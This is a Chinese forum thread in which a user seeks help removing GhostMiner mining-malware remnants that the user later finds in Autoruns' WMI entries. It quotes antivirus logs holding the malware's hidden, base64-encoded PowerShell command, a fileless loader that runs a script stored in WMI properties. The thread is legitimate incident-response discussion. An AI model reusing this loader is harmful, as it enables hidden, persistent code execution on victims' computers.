有谁知道ghostminer的残留怎么弄掉么。已找到。

mifanu

edit：最后还是autoruns里面找到了。刚开始可能是没加载全。
之前没装火绒，中了这个毒https://josys-navi.hiblead.co.jp/tmsb_06nov19_malware_ghostminer
后来好了。用火绒专杀杀了一遍没毒，用火绒主程序杀了一遍也没毒，但是火绒主程序监控到这个。
如图，好像是一小时运行一次。之前是在计划任务里有一个一小时一次的病毒计划，我已经删除了。但不知道他目前这个一小时一次的病毒是通过什么安排的。\WmiApSrv这个服务无法停止。用auturuns检测所有启动项没有搜索到wmi相关的自启动项目。https://cloud.tencent.com/developer/article/1519384
腾讯这边也提供了资料。但是目前我其他的症状都没有，就是有一个一小时一次的残留。

【4】2020-11-13 01:50:06,系统防护,系统加固,wmiprvse.exe触犯敏感动作防护规则, 已阻止

操作进程：C:\Windows\system32\wbem\wmiprvse.exe
命令行：C:\Windows\system32\wbem\wmiprvse.exe -Embedding
父进程：C:\Windows\system32\svchost.exe
防护项目：隐藏执行PowerShell
执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.eXe
执行命令行：C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.eXe -NoP -NonI -EP ByPass -W Hidden -E JABXAG0AaQBOAGEAbQBlAD0AJwByAG8AbwB0AFwAYwBpAG0AdgAyADoAUABvAHcAZQByAFMAaABlAGwAbABfAEMAbwBtAG0AYQBuAGQAJwANAAoAJABCAGEAcwBlADYANAAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AJABXAG0AaQBOAGEAbQBlACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBDAG8AbQBtAGEAbgBkACcAXQAuAFYAYQBsAHUAZQANAAoAJABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgBhAHMAZQA2ADQAKQANAAoAJABTAGMAcgBpAHAAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFUAbgBpAGMAbwBkAGUARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACkADQAKAEkARQBYACAAJABTAGMAcgBpAHAAdAANAAoAJABCAGEAcwBlADYANAAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AJABXAG0AaQBOAGEAbQBlACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBDAEMAQgBvAHQAJwBdAC4AVgBhAGwAdQBlAA0ACgAkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABCAGEAcwBlADYANAApAA0ACg
操作结果：已阻止

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

【5】2020-11-13 00:50:02,系统防护,系统加固,wmiprvse.exe触犯系统免疫规则, 已阻止

操作进程：C:\Windows\system32\wbem\wmiprvse.exe
命令行：C:\Windows\system32\wbem\wmiprvse.exe -Embedding
父进程：C:\Windows\system32\svchost.exe
防护项目：利用系统进程启动恶意程序
执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.eXe
执行命令行：C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.eXe -NoP -NonI -EP ByPass -W Hidden -E JABXAG0AaQBOAGEAbQBlAD0AJwByAG8AbwB0AFwAYwBpAG0AdgAyADoAUABvAHcAZQByAFMAaABlAGwAbABfAEMAbwBtAG0AYQBuAGQAJwANAAoAJABCAGEAcwBlADYANAAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AJABXAG0AaQBOAGEAbQBlACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBDAG8AbQBtAGEAbgBkACcAXQAuAFYAYQBsAHUAZQANAAoAJABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgBhAHMAZQA2ADQAKQANAAoAJABTAGMAcgBpAHAAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFUAbgBpAGMAbwBkAGUARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACkADQAKAEkARQBYACAAJABTAGMAcgBpAHAAdAANAAoAJABCAGEAcwBlADYANAAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AJABXAG0AaQBOAGEAbQBlACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBDAEMAQgBvAHQAJwBdAC4AVgBhAGwAdQBlAA0ACgAkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABCAGEAcwBlADYANAApAA0ACg
操作结果：已阻止

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

kfk

用 NirSoft TaskSchedulerView 搜索PowerShell试试？

mifanu

kfk 发表于 2020-11-13 19:07
用 NirSoft TaskSchedulerView 搜索PowerShell试试？

最后在autoruns的wmi项目里面找到了。刚开始可能是没加载全。我先把它去掉试试看。但是不知道他是怎么按小时计划的启动的。

kfk

是想让你试试 NirSoft TaskSchedulerView，因为它能搜索所有任务计划项的内容。

WMI Explorer也没用？